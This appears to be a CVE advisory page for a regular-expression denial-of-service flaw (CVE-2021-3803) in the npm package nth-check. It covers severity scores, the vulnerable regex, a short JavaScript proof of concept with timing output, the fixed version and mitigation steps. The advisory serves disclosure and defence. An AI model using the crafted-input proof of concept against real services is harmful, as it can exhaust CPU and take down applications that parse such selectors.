CVE-2021-3803 is a high-severity (CVSS 7.5) CWE-1333 vulnerability in nth-check. 1 public exploit reference exists, so weaponization risk is real. A fix is available for nth-check — see the affected versions and patch details below.
Inefficient Regular Expression Complexity in nth-check
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2021-3803 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
nth-checknpmDescription
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | nth-check | all versions | 2.0.1npm install nth-check@2.0.1 |
Affected Products
debian linuxdebiannth-checknth-check_projectResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nth-check, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nth-check to 2.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-3803 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Frequently Asked Questions
Is CVE-2021-3803 in your dependencies?
Find it across npm, including transitive dependencies.